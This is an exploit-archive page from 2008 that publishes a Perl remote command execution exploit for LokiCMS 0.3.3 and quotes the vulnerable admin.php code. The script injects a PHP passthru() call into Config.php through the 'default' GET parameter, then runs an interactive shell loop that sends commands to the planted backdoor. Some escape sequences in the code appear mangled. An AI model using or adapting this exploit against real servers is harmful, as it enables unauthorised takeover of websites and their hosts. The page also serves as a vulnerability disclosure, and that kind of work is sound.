[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : LokiCMS <= 0.3.3 Remote Command Execution Exploit
# Published : 2008-04-08
# Author : girex
# Previous Title : FLABER <= 1.1 RC1 Remote Command Execution Exploit
# Next Title : SuperNET Shop 1.0 Remote SQL Injection Vulnerabilities


# Author:	__GiReX__
# mySite:	girex.altervista.org
# Date:		8/04/08

# CMS: 		LokiCMS <= 0.3.3
# Site:		lokicms.com

# Bug: 		PHP Code Injection
# Exploit:	Remote Command Execution

# Vuln Code: admin.php

#	if ($_GET['default'] != '') { // User want's to set the default page
#		writeconfig($c_password, $c_title, $c_header, $c_tagline, $c_footnote, stripslashes($_GET['default']), #		$c_theme, $c_language, $c_modrewrite, $c_simplelink, $c_code);

# Our bugged var $_GET['default'] is stripslashed so we don't need magic_quotes_gpc Off
# writeconfig() simply put text into Config.php

# This is a very bugged CMS, only most dengerous bug is here reported



#!/usr/bin/perl -w
# LokiCMS <= 0.3.3 Remote Command Execution Exploit
# Works with magic_quotes_gpc = On
# Coded by __GiReX__

use LWP::Simple;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]n";
     print "[-] Example: perl $0 localhost /lokicms/nn";
     exit;
}
 
my $host  =  $ARGV[0] =~ /^http:/// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $host .=  $ARGV[1] unless not defined $ARGV[1];

banner();
get($host.'admin.php?default=';passthru($_GET['cmd']);//') or die '[-] Error requesting page: admin.php';

while(1)
{
     print "[+] Shell:~$ ";
     chomp($cmd = <STDIN>);
     last if $cmd eq 'exit';
     last if is_error(getprint($host."includes/Config.php?cmd=${cmd}"));
     print $resp;
}

sub banner
{
     print "[+] LokiCMS <= 0.3.3 Remote Command Execution Exploitn";
     print "[+] Coded by __GiReX__n";
     print "n";
}

# www.Syue.com [2008-04-08]